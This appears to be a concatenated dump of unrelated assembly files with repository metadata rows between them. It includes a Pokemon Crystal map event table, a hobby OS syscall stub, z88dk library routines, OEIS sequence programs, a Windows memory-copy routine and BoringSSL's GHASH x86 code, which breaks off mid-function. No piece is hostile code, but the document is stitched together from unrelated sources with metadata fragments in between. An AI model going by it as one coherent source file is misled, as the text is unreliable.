bg_event 13, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 13, 11, BGEVENT_LEFT, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript
bg_event 18, 11, BGEVENT_RIGHT, GoldenrodGameCornerCardFlipMachineScript
bg_event 12, 1, BGEVENT_LEFT, GoldenrodGameCornerLeftTheirDrinkScript
db 12 ; object events
object_event 3, 2, SPRITE_CLERK, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCoinVendorScript, -1
object_event 16, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerTMVendorScript, -1
object_event 18, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPrizeMonVendorScript, -1
object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, DAY, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1
object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, NITE, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1
object_event 11, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM1Script, -1
object_event 14, 8, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerMScript, -1
object_event 17, 6, SPRITE_POKEFAN_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanFScript, -1
object_event 10, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_WANDER, 2, 1, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerFScript, -1
object_event 5, 10, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerGentlemanScript, -1
object_event 2, 9, SPRITE_POKEFAN_M, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM2Script, -1
object_event 17, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, MoveTutorInsideScript, EVENT_GOLDENROD_GAME_CORNER_MOVE_TUTOR
| 30.56513
| 181
| 0.850184
|
261eb98b2f062987d62816f641c8d0d2d79f1d86
| 371
|
asm
|
Assembly
|
Userland/dummy/asm/stdioASM.asm
|
fsammart/SistemasOperativos
|
6dcf003af89a301b3d788b62d673082aaf18d0ff
|
[
"BSD-3-Clause"
] | null | null | null |
Userland/dummy/asm/stdioASM.asm
|
fsammart/SistemasOperativos
|
6dcf003af89a301b3d788b62d673082aaf18d0ff
|
[
"BSD-3-Clause"
] | null | null | null |
Userland/dummy/asm/stdioASM.asm
|
fsammart/SistemasOperativos
|
6dcf003af89a301b3d788b62d673082aaf18d0ff
|
[
"BSD-3-Clause"
] | null | null | null |
GLOBAL readC
GLOBAL writeC
GLOBAL sys_call
section .text
readC:
push rbp
mov rbp, rsp
mov rdx, rdi
mov rcx, rsi
mov rdi, 3
mov rsi, 0
int 80h
mov rsp, rbp
pop rbp
ret
writeC:
push rbp
mov rbp, rsp
mov rcx, rsi
mov rdx, rdi
mov rdi, 4
mov rsi, 0
int 80h
mov rsp, rbp
pop rbp
ret
sys_call:
push rbp
mov rbp, rsp
int 80h
mov rsp, rbp
pop rbp
ret
| 10.305556
| 15
| 0.67655
|
64d1c59deb18197baa0ab27e3cf8502d842e75ee
| 230
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/fma_callee.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 4
|
2021-12-23T15:34:05.000Z
|
2021-12-23T15:36:16.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/fma_callee.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/fma_callee.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | null | null | null |
SECTION code_fp_math16
PUBLIC fmaf16_callee
EXTERN cm16_sccz80_fma_callee
defc fmaf16_callee = cm16_sccz80_fma_callee
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _fmaf16_callee
defc _fmaf16_callee = fmaf16_callee
ENDIF
| 15.333333
| 44
| 0.843478
|
1542a287bc3a21d8e7a63d3d64fae5f059fc89c7
| 683
|
asm
|
Assembly
|
programs/oeis/155/A155750.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/155/A155750.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/155/A155750.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A155750: First differences of A031215.
; 4,6,6,10,8,6,10,8,10,8,10,12,6,6,18,8,12,12,10,8,12,6,24,6,10,12,12,8,10,12,18,6,20,12,10,14,10,14,12,12,12,10,14,6,16,12,12,18,20,16,12,8,16,8,12,6,22,6,12,14,10,18,18,14,10,14,12,18,22,12,6,12,18,6,18,6,24
mov $27,$0
mov $29,2
lpb $29
clr $0,27
mov $0,$27
sub $29,1
add $0,$29
add $0,1
mul $0,2
add $1,1
sub $0,$1
mov $26,$0
cmp $26,0
add $0,$26
div $1,$0
mov $1,$0
sub $0,1
max $0,0
mul $1,10
sub $1,1
mov $2,1
cal $0,154115 ; Numbers n such that n + 3 is prime.
mul $1,2
mov $5,$1
mov $1,$0
mov $30,$29
cmp $30,1
mul $30,$0
add $28,$30
lpe
min $27,1
mul $27,$1
mov $1,$28
sub $1,$27
| 17.973684
| 209
| 0.557833
|
d07339b6e4927323d77c8dcce57e2b94ca1c6675
| 124
|
asm
|
Assembly
|
PRG/objects/W1HBO.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/objects/W1HBO.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/objects/W1HBO.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
.byte $01 ; Unknown purpose
.byte OBJ_HAMMERBRO, $0C, $18
.byte OBJ_TREASUREBOXAPPEAR, $0D, $14
.byte $FF ; Terminator
| 20.666667
| 38
| 0.693548
|
c45962eef229e898ce1e7a0fb344eba84a2ce9af
| 624
|
asm
|
Assembly
|
libsrc/graphics/mc1000/bkrestore.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/graphics/mc1000/bkrestore.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/graphics/mc1000/bkrestore.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; Fast background restore
;
; MC-1000 version
;
; $Id: bkrestore.asm $
;
SECTION smc_clib
PUBLIC bkrestore
PUBLIC _bkrestore
EXTERN bkpixeladdress
EXTERN pix_return
.bkrestore
._bkrestore
; __FASTCALL__ : sprite ptr in HL
push ix ;save callers
push hl
pop ix
ld h,(ix+2)
ld l,(ix+3)
ld a,(ix+0)
ld b,(ix+1)
dec a
srl a
srl a
srl a
inc a
inc a ; INT ((Xsize-1)/8+2)
ld (rbytes+1),a
.bkrestores
push bc
call bkpixeladdress
.rbytes
ld b,0
.rloop
ld a,(ix+4)
;ld (de),a
call pix_return
inc de
inc ix
djnz rloop
inc l
pop bc
djnz bkrestores
pop ix ;restore callers
ret
| 10.4
| 33
| 0.655449
|
944aab8133bef3fdceb7ff2e8eb580fd209feb0e
| 469
|
asm
|
Assembly
|
programs/oeis/138/A138100.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/138/A138100.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/138/A138100.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A138100: The atomic numbers read along the odd-indexed rows of the Janet table of the elements.
; 1,2,5,6,7,8,9,10,11,12,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88
mov $3,$0
trn $0,1
mov $1,2
lpb $0,1
add $2,$1
add $2,1
add $1,$2
mul $2,2
sub $0,$2
trn $0,2
add $2,1
sub $2,$1
lpe
trn $1,3
add $1,4
lpb $3,1
add $1,1
sub $3,1
lpe
sub $1,3
| 19.541667
| 174
| 0.609808
|
8f440cf8860d977e069a11a75e19eab8fa0d2369
| 431
|
asm
|
Assembly
|
programs/oeis/218/A218989.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/218/A218989.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/218/A218989.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A218989: Power ceiling sequence of 2+sqrt(8).
; 5,25,121,585,2825,13641,65865,318025,1535561,7414345,35799625,172855881,834622025,4029911625,19458134601,93952184905,453641278025,2190373851721,10576060518985,51065737482825,246567192007241,1190531717960265,5748395639870025
add $0,1
mov $2,2
mov $3,4
lpb $0,1
sub $0,1
mov $1,$3
add $1,$2
mov $3,$2
mov $2,$1
sub $2,1
add $3,$1
mov $1,$2
mul $2,2
mul $3,2
lpe
| 22.684211
| 225
| 0.716937
|
c1525eb6612a03dd3e87a4c08116ca881f4b7fbe
| 1,834
|
asm
|
Assembly
|
private/windows/media/avi/avicap/memcopy.asm
|
King0987654/windows2000
|
01f9c2e62c4289194e33244aade34b7d19e7c9b8
|
[
"MIT"
] | 11
|
2017-09-02T11:27:08.000Z
|
2022-01-02T15:25:24.000Z
|
private/windows/media/avi/avicap/memcopy.asm
|
King0987654/windows2000
|
01f9c2e62c4289194e33244aade34b7d19e7c9b8
|
[
"MIT"
] | null | null | null |
private/windows/media/avi/avicap/memcopy.asm
|
King0987654/windows2000
|
01f9c2e62c4289194e33244aade34b7d19e7c9b8
|
[
"MIT"
] | 14
|
2019-01-16T01:01:23.000Z
|
2022-02-20T15:54:27.000Z
|
?PLM=1 ; PASCAL Calling convention is DEFAULT
?WIN=0 ; Windows calling convention
PMODE=1
.xlist
include cmacros.inc
include windows.inc
.list
externA __WinFlags ; in KERNEL
externA __AHINCR ; in KERNEL
externA __AHSHIFT ; in KERNEL
; The following structure should be used to access high and low
; words of a DWORD. This means that "word ptr foo[2]" -> "foo.hi".
LONG struc
lo dw ?
hi dw ?
LONG ends
FARPOINTER struc
off dw ?
sel dw ?
FARPOINTER ends
; -------------------------------------------------------
; DATA SEGMENT DECLARATIONS
; -------------------------------------------------------
ifndef SEGNAME
SEGNAME equ <_TEXT>
endif
createSeg %SEGNAME, CodeSeg, word, public, CODE
sBegin Data
sEnd Data
sBegin CodeSeg
assumes cs,CodeSeg
assumes ds,DATA
;---------------------------Public-Routine------------------------------;
; MemCopy
;
; copy memory
;
; Entry:
; lpSrc HPSTR to copy from
; lpDst HPSTR to copy to
; cbMem DWORD count of bytes to move
;
; Returns:
; destination pointer
; Error Returns:
; None
; Registers Preserved:
; BP,DS,SI,DI
; Registers Destroyed:
; AX,BX,CX,DX,FLAGS
; Calls:
; nothing
;-----------------------------------------------------------------------;
cProc MemCopy,<NEAR,PASCAL,PUBLIC>,<ds>
ParmD lpDst
ParmD lpSrc
ParmD cbMem
cBegin
.386
push edi
push esi
cld
mov ecx,cbMem
jecxz mc386_exit
movzx edi,di
movzx esi,si
lds si,lpSrc
les di,lpDst
mov ebx,ecx
shr ecx,2 ; get count in DWORDs
rep movs dword ptr es:[edi], dword ptr ds:[esi]
mov ecx,ebx
and ecx,3
rep movs byte ptr es:[edi], byte ptr ds:[esi]
mc386_exit:
cld
pop esi
pop edi
.286
cEnd
sEnd CodeSeg
end
| 18.34
| 74
| 0.55398
|
de58b27b974f40d59f69cfe7103ee0eaf2b6615a
| 392
|
asm
|
Assembly
|
programs/oeis/159/A159035.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/159/A159035.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/159/A159035.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A159035: a(0)=1=a(1), a(2)=2, a(3)=5; thereafter a(n+3)=4*a(n+2)-4*a(n+1)+2*a(n) for n>=1.
; 1,1,2,5,14,40,114,324,920,2612,7416,21056,59784,169744,481952,1368400,3885280,11031424,31321376,88930368,252498816,716916544,2035531648,5779458048,16409538688,46591385856,132286304768,375598753024
mov $1,1
lpb $0
sub $0,1
mul $2,2
trn $2,1
add $2,$3
add $3,$1
add $1,$2
lpe
mov $0,$1
| 28
| 198
| 0.670918
|
1a2f3d332b85eb604cda1f384d7deca18f2a7044
| 920
|
asm
|
Assembly
|
programs/oeis/066/A066982.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/066/A066982.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/066/A066982.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A066982: a(n) = Lucas(n+1) - (n+1).
; 1,1,3,6,12,22,39,67,113,188,310,508,829,1349,2191,3554,5760,9330,15107,24455,39581,64056,103658,167736,271417,439177,710619,1149822,1860468,3010318,4870815,7881163,12752009,20633204,33385246,54018484,87403765,141422285,228826087,370248410,599074536,969322986,1568397563,2537720591,4106118197,6643838832,10749957074,17393795952,28143753073,45537549073,73681302195,119218851318,192900153564,312119004934,505019158551,817138163539,1322157322145,2139295485740,3461452807942,5600748293740,9062201101741,14662949395541,23725150497343,38388099892946,62113250390352,100501350283362,162614600673779,263115950957207,425730551631053,688846502588328,1114577054219450,1803423556807848,2918000611027369,4721424167835289,7639424778862731
mov $1,1
mov $3,1
lpb $0
sub $0,1
trn $0,1
add $0,$3
add $2,$1
mov $4,$1
mov $1,$2
mov $2,$4
trn $5,1
add $5,2
add $1,$5
sub $2,1
lpe
| 48.421053
| 724
| 0.802174
|
ee6dc12688201fc6a2e73f0dfd99346d6f2f9811
| 228
|
asm
|
Assembly
|
programs/oeis/057/A057025.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/057/A057025.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/057/A057025.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A057025: Smallest prime of form (2n+1)*2^m+1 for some m.
; 2,7,11,29,19,23,53,31,137,1217,43,47,101,109,59,7937,67,71,149,79,83,173,181
mul $0,2
seq $0,50921 ; Smallest prime of form n*2^m+1, m >= 0, or 0 if no prime exists.
| 38
| 79
| 0.662281
|
753c472f04d64fff8f1a9702367a719829f307bf
| 19,792
|
asm
|
Assembly
|
packager/third_party/boringssl/win-x86/crypto/fipsmodule/ghash-x86.asm
|
koln67/shaka-packager
|
5b9fd409a5de502e8af2e46ee12840bd2226874d
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 1,288
|
2016-05-25T01:20:31.000Z
|
2022-03-02T23:56:56.000Z
|
packager/third_party/boringssl/win-x86/crypto/fipsmodule/ghash-x86.asm
|
koln67/shaka-packager
|
5b9fd409a5de502e8af2e46ee12840bd2226874d
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 894
|
2016-05-17T00:39:30.000Z
|
2022-03-02T18:46:21.000Z
|
packager/third_party/boringssl/win-x86/crypto/fipsmodule/ghash-x86.asm
|
koln67/shaka-packager
|
5b9fd409a5de502e8af2e46ee12840bd2226874d
|
[
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 400
|
2016-05-25T01:20:35.000Z
|
2022-03-03T02:12:00.000Z
|
; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
%ifdef BORINGSSL_PREFIX
%include "boringssl_prefix_symbols_nasm.inc"
%endif
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
%ifdef __YASM_VERSION_ID__
%if __YASM_VERSION_ID__ < 01010000h
%error yasm version 1.1.0 or later needed.
%endif
; Yasm automatically includes .00 and complains about redefining it.
; https://www.tortall.net/projects/yasm/manual/html/objfmt-win32-safeseh.html
%else
$@feat.00 equ 1
%endif
section .text code align=64
%else
section .text code
%endif
global _gcm_gmult_4bit_mmx
align 16
_gcm_gmult_4bit_mmx:
L$_gcm_gmult_4bit_mmx_begin:
push ebp
push ebx
push esi
push edi
mov edi,DWORD [20+esp]
mov esi,DWORD [24+esp]
call L$000pic_point
L$000pic_point:
pop eax
lea eax,[(L$rem_4bit-L$000pic_point)+eax]
movzx ebx,BYTE [15+edi]
xor ecx,ecx
mov edx,ebx
mov cl,dl
mov ebp,14
shl cl,4
and edx,240
movq mm0,[8+ecx*1+esi]
movq mm1,[ecx*1+esi]
movd ebx,mm0
jmp NEAR L$001mmx_loop
align 16
L$001mmx_loop:
psrlq mm0,4
and ebx,15
movq mm2,mm1
psrlq mm1,4
pxor mm0,[8+edx*1+esi]
mov cl,BYTE [ebp*1+edi]
psllq mm2,60
pxor mm1,[ebx*8+eax]
dec ebp
movd ebx,mm0
pxor mm1,[edx*1+esi]
mov edx,ecx
pxor mm0,mm2
js NEAR L$002mmx_break
shl cl,4
and ebx,15
psrlq mm0,4
and edx,240
movq mm2,mm1
psrlq mm1,4
pxor mm0,[8+ecx*1+esi]
psllq mm2,60
pxor mm1,[ebx*8+eax]
movd ebx,mm0
pxor mm1,[ecx*1+esi]
pxor mm0,mm2
jmp NEAR L$001mmx_loop
align 16
L$002mmx_break:
shl cl,4
and ebx,15
psrlq mm0,4
and edx,240
movq mm2,mm1
psrlq mm1,4
pxor mm0,[8+ecx*1+esi]
psllq mm2,60
pxor mm1,[ebx*8+eax]
movd ebx,mm0
pxor mm1,[ecx*1+esi]
pxor mm0,mm2
psrlq mm0,4
and ebx,15
movq mm2,mm1
psrlq mm1,4
pxor mm0,[8+edx*1+esi]
psllq mm2,60
pxor mm1,[ebx*8+eax]
movd ebx,mm0
pxor mm1,[edx*1+esi]
pxor mm0,mm2
psrlq mm0,32
movd edx,mm1
psrlq mm1,32
movd ecx,mm0
movd ebp,mm1
bswap ebx
bswap edx
bswap ecx
bswap ebp
emms
mov DWORD [12+edi],ebx
mov DWORD [4+edi],edx
mov DWORD [8+edi],ecx
mov DWORD [edi],ebp
pop edi
pop esi
pop ebx
pop ebp
ret
global _gcm_ghash_4bit_mmx
align 16
_gcm_ghash_4bit_mmx:
L$_gcm_ghash_4bit_mmx_begin:
push ebp
push ebx
push esi
push edi
mov eax,DWORD [20+esp]
mov ebx,DWORD [24+esp]
mov ecx,DWORD [28+esp]
mov edx,DWORD [32+esp]
mov ebp,esp
call L$003pic_point
L$003pic_point:
pop esi
lea esi,[(L$rem_8bit-L$003pic_point)+esi]
sub esp,544
and esp,-64
sub esp,16
add edx,ecx
mov DWORD [544+esp],eax
mov DWORD [552+esp],edx
mov DWORD [556+esp],ebp
add ebx,128
lea edi,[144+esp]
lea ebp,[400+esp]
mov edx,DWORD [ebx-120]
movq mm0,[ebx-120]
movq mm3,[ebx-128]
shl edx,4
mov BYTE [esp],dl
mov edx,DWORD [ebx-104]
movq mm2,[ebx-104]
movq mm5,[ebx-112]
movq [edi-128],mm0
psrlq mm0,4
movq [edi],mm3
movq mm7,mm3
psrlq mm3,4
shl edx,4
mov BYTE [1+esp],dl
mov edx,DWORD [ebx-88]
movq mm1,[ebx-88]
psllq mm7,60
movq mm4,[ebx-96]
por mm0,mm7
movq [edi-120],mm2
psrlq mm2,4
movq [8+edi],mm5
movq mm6,mm5
movq [ebp-128],mm0
psrlq mm5,4
movq [ebp],mm3
shl edx,4
mov BYTE [2+esp],dl
mov edx,DWORD [ebx-72]
movq mm0,[ebx-72]
psllq mm6,60
movq mm3,[ebx-80]
por mm2,mm6
movq [edi-112],mm1
psrlq mm1,4
movq [16+edi],mm4
movq mm7,mm4
movq [ebp-120],mm2
psrlq mm4,4
movq [8+ebp],mm5
shl edx,4
mov BYTE [3+esp],dl
mov edx,DWORD [ebx-56]
movq mm2,[ebx-56]
psllq mm7,60
movq mm5,[ebx-64]
por mm1,mm7
movq [edi-104],mm0
psrlq mm0,4
movq [24+edi],mm3
movq mm6,mm3
movq [ebp-112],mm1
psrlq mm3,4
movq [16+ebp],mm4
shl edx,4
mov BYTE [4+esp],dl
mov edx,DWORD [ebx-40]
movq mm1,[ebx-40]
psllq mm6,60
movq mm4,[ebx-48]
por mm0,mm6
movq [edi-96],mm2
psrlq mm2,4
movq [32+edi],mm5
movq mm7,mm5
movq [ebp-104],mm0
psrlq mm5,4
movq [24+ebp],mm3
shl edx,4
mov BYTE [5+esp],dl
mov edx,DWORD [ebx-24]
movq mm0,[ebx-24]
psllq mm7,60
movq mm3,[ebx-32]
por mm2,mm7
movq [edi-88],mm1
psrlq mm1,4
movq [40+edi],mm4
movq mm6,mm4
movq [ebp-96],mm2
psrlq mm4,4
movq [32+ebp],mm5
shl edx,4
mov BYTE [6+esp],dl
mov edx,DWORD [ebx-8]
movq mm2,[ebx-8]
psllq mm6,60
movq mm5,[ebx-16]
por mm1,mm6
movq [edi-80],mm0
psrlq mm0,4
movq [48+edi],mm3
movq mm7,mm3
movq [ebp-88],mm1
psrlq mm3,4
movq [40+ebp],mm4
shl edx,4
mov BYTE [7+esp],dl
mov edx,DWORD [8+ebx]
movq mm1,[8+ebx]
psllq mm7,60
movq mm4,[ebx]
por mm0,mm7
movq [edi-72],mm2
psrlq mm2,4
movq [56+edi],mm5
movq mm6,mm5
movq [ebp-80],mm0
psrlq mm5,4
movq [48+ebp],mm3
shl edx,4
mov BYTE [8+esp],dl
mov edx,DWORD [24+ebx]
movq mm0,[24+ebx]
psllq mm6,60
movq mm3,[16+ebx]
por mm2,mm6
movq [edi-64],mm1
psrlq mm1,4
movq [64+edi],mm4
movq mm7,mm4
movq [ebp-72],mm2
psrlq mm4,4
movq [56+ebp],mm5
shl edx,4
mov BYTE [9+esp],dl
mov edx,DWORD [40+ebx]
movq mm2,[40+ebx]
psllq mm7,60
movq mm5,[32+ebx]
por mm1,mm7
movq [edi-56],mm0
psrlq mm0,4
movq [72+edi],mm3
movq mm6,mm3
movq [ebp-64],mm1
psrlq mm3,4
movq [64+ebp],mm4
shl edx,4
mov BYTE [10+esp],dl
mov edx,DWORD [56+ebx]
movq mm1,[56+ebx]
psllq mm6,60
movq mm4,[48+ebx]
por mm0,mm6
movq [edi-48],mm2
psrlq mm2,4
movq [80+edi],mm5
movq mm7,mm5
movq [ebp-56],mm0
psrlq mm5,4
movq [72+ebp],mm3
shl edx,4
mov BYTE [11+esp],dl
mov edx,DWORD [72+ebx]
movq mm0,[72+ebx]
psllq mm7,60
movq mm3,[64+ebx]
por mm2,mm7
movq [edi-40],mm1
psrlq mm1,4
movq [88+edi],mm4
movq mm6,mm4
movq [ebp-48],mm2
psrlq mm4,4
movq [80+ebp],mm5
shl edx,4
mov BYTE [12+esp],dl
mov edx,DWORD [88+ebx]
movq mm2,[88+ebx]
psllq mm6,60
movq mm5,[80+ebx]
por mm1,mm6
movq [edi-32],mm0
psrlq mm0,4
movq [96+edi],mm3
movq mm7,mm3
movq [ebp-40],mm1
psrlq mm3,4
movq [88+ebp],mm4
shl edx,4
mov BYTE [13+esp],dl
mov edx,DWORD [104+ebx]
movq mm1,[104+ebx]
psllq mm7,60
movq mm4,[96+ebx]
por mm0,mm7
movq [edi-24],mm2
psrlq mm2,4
movq [104+edi],mm5
movq mm6,mm5
movq [ebp-32],mm0
psrlq mm5,4
movq [96+ebp],mm3
shl edx,4
mov BYTE [14+esp],dl
mov edx,DWORD [120+ebx]
movq mm0,[120+ebx]
psllq mm6,60
movq mm3,[112+ebx]
por mm2,mm6
movq [edi-16],mm1
psrlq mm1,4
movq [112+edi],mm4
movq mm7,mm4
movq [ebp-24],mm2
psrlq mm4,4
movq [104+ebp],mm5
shl edx,4
mov BYTE [15+esp],dl
psllq mm7,60
por mm1,mm7
movq [edi-8],mm0
psrlq mm0,4
movq [120+edi],mm3
movq mm6,mm3
movq [ebp-16],mm1
psrlq mm3,4
movq [112+ebp],mm4
psllq mm6,60
por mm0,mm6
movq [ebp-8],mm0
movq [120+ebp],mm3
movq mm6,[eax]
mov ebx,DWORD [8+eax]
mov edx,DWORD [12+eax]
align 16
L$004outer:
xor edx,DWORD [12+ecx]
xor ebx,DWORD [8+ecx]
pxor mm6,[ecx]
lea ecx,[16+ecx]
mov DWORD [536+esp],ebx
movq [528+esp],mm6
mov DWORD [548+esp],ecx
xor eax,eax
rol edx,8
mov al,dl
mov ebp,eax
and al,15
shr ebp,4
pxor mm0,mm0
rol edx,8
pxor mm1,mm1
pxor mm2,mm2
movq mm7,[16+eax*8+esp]
movq mm6,[144+eax*8+esp]
mov al,dl
movd ebx,mm7
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
shr edi,4
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+ebp*8+esp]
xor bl,BYTE [ebp*1+esp]
mov al,dl
movd ecx,mm7
movzx ebx,bl
psrlq mm7,8
movq mm3,mm6
mov ebp,eax
psrlq mm6,8
pxor mm7,[272+edi*8+esp]
and al,15
psllq mm3,56
shr ebp,4
pinsrw mm2,WORD [ebx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
pxor mm6,[144+eax*8+esp]
pxor mm7,mm3
pxor mm6,[400+edi*8+esp]
xor cl,BYTE [edi*1+esp]
mov al,dl
mov edx,DWORD [536+esp]
movd ebx,mm7
movzx ecx,cl
psrlq mm7,8
movq mm3,mm6
mov edi,eax
psrlq mm6,8
pxor mm7,[272+ebp*8+esp]
and al,15
psllq mm3,56
pxor mm6,mm2
shr edi,4
pinsrw mm1,WORD [ecx*2+esi],2
pxor mm7,[16+eax*8+esp]
rol edx,8
